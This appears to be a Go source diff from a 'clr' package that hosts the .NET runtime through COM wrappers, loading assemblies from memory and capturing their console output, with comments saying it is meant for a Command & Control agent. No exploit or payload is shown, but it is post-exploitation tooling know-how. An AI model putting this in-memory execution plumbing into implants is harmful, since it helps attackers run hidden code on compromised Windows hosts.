GetInterface uintptr
|
||||
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
|
||||
// process, taking into account other runtimes that might already be loaded into the process.
|
||||
IsLoadable uintptr
|
||||
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
|
||||
SetDefaultStartupFlags uintptr
|
||||
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
|
||||
GetDefaultStartupFlags uintptr
|
||||
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
|
||||
BindAsLegacyV2Runtime uintptr
|
||||
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
|
||||
IsStarted uintptr
|
||||
}
|
||||
|
||||
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
|
||||
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
|
||||
pwzVersion, err := syscall.UTF16PtrFromString(version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) Release() uintptr {
|
||||
debugPrint("Entering into iclrruntimeinfo.Release()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
|
||||
// HRESULT GetVersionString(
|
||||
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
|
||||
// [in, out] DWORD *pcchBuffer);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
|
||||
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
|
||||
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
|
||||
var pchBuffer uint32
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
|
||||
if hr != S_OK && hr != 0x8007007a {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
pwzBuffer := make([]uint16, 20)
|
||||
|
||||
hr, _, err = syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pwzBuffer[0])),
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
version = syscall.UTF16ToString(pwzBuffer)
|
||||
return
|
||||
}
|
||||
|
||||
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
|
||||
// HRESULT GetInterface(
|
||||
// [in] REFCLSID rclsid,
|
||||
// [in] REFIID riid,
|
||||
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
|
||||
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetInterface,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&rclsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(ppUnk),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
|
||||
// TODO Why is this error message returned?
|
||||
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
|
||||
// HRESULT BindAsLegacyV2Runtime ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
|
||||
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
|
||||
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.BindAsLegacyV2Runtime,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
|
||||
// taking into account other runtimes that might already be loaded into the process.
|
||||
// HRESULT IsLoadable(
|
||||
// [out, retval] BOOL *pbLoadable);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
|
||||
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.IsLoadable,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbLoadable)),
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICORRuntimeHost struct {
|
||||
vtbl *ICORRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
|
||||
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
|
||||
// domains running in the process.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
|
||||
type ICORRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// CreateLogicalThreadState Do not use.
|
||||
CreateLogicalThreadState uintptr
|
||||
// DeleteLogicalThreadSate Do not use.
|
||||
DeleteLogicalThreadState uintptr
|
||||
// SwitchInLogicalThreadState Do not use.
|
||||
SwitchInLogicalThreadState uintptr
|
||||
// SwitchOutLogicalThreadState Do not use.
|
||||
SwitchOutLogicalThreadState uintptr
|
||||
// LocksHeldByLogicalThreadState Do not use.
|
||||
LocksHeldByLogicalThreadState uintptr
|
||||
// MapFile Maps the specified file into memory. This method is obsolete.
|
||||
MapFile uintptr
|
||||
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
|
||||
GetConfiguration uintptr
|
||||
// Start Starts the CLR.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code in the runtime for the current process.
|
||||
Stop uintptr
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of
|
||||
// type _AppDomain to an instance of type System.AppDomain.
|
||||
CreateDomain uintptr
|
||||
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
|
||||
GetDefaultDomain uintptr
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
EnumDomains uintptr
|
||||
// NextDomain Gets an interface pointer to the next domain in the enumeration.
|
||||
NextDomain uintptr
|
||||
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
|
||||
CloseEnum uintptr
|
||||
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
|
||||
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
|
||||
CreateDomainEx uintptr
|
||||
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
|
||||
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
|
||||
CreateDomainSetup uintptr
|
||||
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
|
||||
// evidence to pass to CreateDomain or CreateDomainEx.
|
||||
CreateEvidence uintptr
|
||||
// UnloadDomain Unloads the specified application domain from the current process.
|
||||
UnloadDomain uintptr
|
||||
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
|
||||
CurrentDomain uintptr
|
||||
}
|
||||
|
||||
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
|
||||
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
|
||||
// from memory (afaict)
|
||||
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
|
||||
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
|
||||
var runtimeHost *ICORRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
fmt.Println("1111111111111")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
fmt.Println("222222222222222222")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start starts the common language runtime (CLR).
|
||||
// HRESULT Start ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
|
||||
func (obj *ICORRuntimeHost) Start() error {
|
||||
debugPrint("Entering into icorruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The system could not find the environment option that was entered.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
|
||||
// HRESULT GetDefaultDomain (
|
||||
// [out] IUnknown** pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
|
||||
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
|
||||
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDefaultDomain,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&IUnknown)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
|
||||
// HRESULT CreateDomain (
|
||||
// [in] LPWSTR pwzFriendlyName,
|
||||
// [in] IUnknown* pIdentityArray,
|
||||
// [out] void **pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
|
||||
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into icorruntimehost.CreateDomain()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.CreateDomain,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
|
||||
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
|
||||
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
// HRESULT EnumDomains (
|
||||
// [out] HCORENUM *hEnum
|
||||
// );
|
||||
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
|
||||
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumDomains,
|
||||
(uintptr(unsafe.Pointer(hEnum))),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IEnumUnknown struct {
|
||||
vtbl *IEnumUnknownVtbl
|
||||
}
|
||||
|
||||
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
|
||||
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
|
||||
type IEnumUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Next Retrieves the specified number of items in the enumeration sequence.
|
||||
Next uintptr
|
||||
// Skip Skips over the specified number of items in the enumeration sequence.
|
||||
Skip uintptr
|
||||
// Reset Resets the enumeration sequence to the beginning.
|
||||
Reset uintptr
|
||||
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
|
||||
Clone uintptr
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Next retrieves the specified number of items in the enumeration sequence.
|
||||
// HRESULT Next(
|
||||
// ULONG celt,
|
||||
// IUnknown **rgelt,
|
||||
// ULONG *pceltFetched
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
|
||||
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
|
||||
debugPrint("Entering into ienumunknown.Next()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Next,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(celt),
|
||||
uintptr(pEnumRuntime),
|
||||
uintptr(unsafe.Pointer(pceltFetched)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK && hr != S_FALSE {
|
||||
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
hresult = int(hr)
|
||||
return
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IErrorInfo struct {
|
||||
vtbl *IErrorInfoVtbl
|
||||
}
|
||||
|
||||
// IErrorInfoVtbl returns information about an error in addition to the return code.
|
||||
// It returns the error message, name of the component and GUID of the interface in
|
||||
// which the error occurred, and the name and topic of the Help file that applies to the error.
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
|
||||
type IErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// GetDescription Returns a text description of the error
|
||||
GetDescription uintptr
|
||||
// GetGUID Returns the GUID of the interface that defined the error.
|
||||
GetGUID uintptr
|
||||
// GetHelpContext Returns the Help context ID for the error.
|
||||
GetHelpContext uintptr
|
||||
// GetHelpFile Returns the path of the Help file that describes the error.
|
||||
GetHelpFile uintptr
|
||||
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
|
||||
GetSource uintptr
|
||||
}
|
||||
|
||||
// GetDescription Returns a text description of the error.
|
||||
// HRESULT GetDescription (
|
||||
// BSTR *pbstrDescription);
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
|
||||
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetDescription()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDescription,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbstrDescription)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
|
||||
// HRESULT GetGUID(
|
||||
// GUID *pGUID
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
|
||||
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetGUID()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetGUID,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pGUID)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
|
||||
// HRESULT GetErrorInfo(
|
||||
// ULONG dwReserved,
|
||||
// IErrorInfo **pperrinfo
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
|
||||
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
|
||||
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
|
||||
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// origSTDOUT is a Windows Handle to the program's original STDOUT
|
||||
var origSTDOUT = windows.Stdout
|
||||
|
||||
// origSTDERR is a Windows Handle to the program's original STDERR
|
||||
var origSTDERR = windows.Stderr
|
||||
|
||||
// rSTDOUT is an io.Reader for STDOUT
|
||||
var rSTDOUT *os.File
|
||||
|
||||
// wSTDOUT is an io.Writer for STDOUT
|
||||
var wSTDOUT *os.File
|
||||
|
||||
// rSTDERR is an io.Reader for STDERR
|
||||
var rSTDERR *os.File
|
||||
|
||||
// wSTDERR is an io.Writer for STDERR
|
||||
var wSTDERR *os.File
|
||||
|
||||
// Stdout is a buffer to collect anything written to STDOUT
|
||||
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
|
||||
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
|
||||
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
|
||||
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
|
||||
var Stdout bytes.Buffer
|
||||
|
||||
// Stderr is a buffer to collect anything written to STDERR
|
||||
var Stderr bytes.Buffer
|
||||
|
||||
// errors is used to capture an errors from a goroutine
|
||||
var errors = make(chan error)
|
||||
|
||||
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
|
||||
var mutex = &sync.Mutex{}
|
||||
|
||||
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
|
||||
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
|
||||
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
|
||||
func RedirectStdoutStderr() (err error) {
|
||||
// Create a new reader and writer for STDOUT
|
||||
rSTDOUT, wSTDOUT, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Start STDOUT/STDERR buffer and collection
|
||||
go BufferStdout()
|
||||
go BufferStderr()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
|
||||
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
|
||||
// using the restored handles
|
||||
func RestoreStdoutStderr() error {
|
||||
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
|
||||
}
|
||||
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
|
||||
// Only use when RedirectStdoutStderr was previously called
|
||||
func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
debugPrint("Entering into io.ReadStdoutStderr()...")
|
||||
|
||||
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
|
||||
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
|
||||
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
|
||||
// returned because parent program is perpetually running
|
||||
time.Sleep(1 * time.Microsecond)
|
||||
|
||||
// Check the error channel to see if any of the goroutines generated an error
|
||||
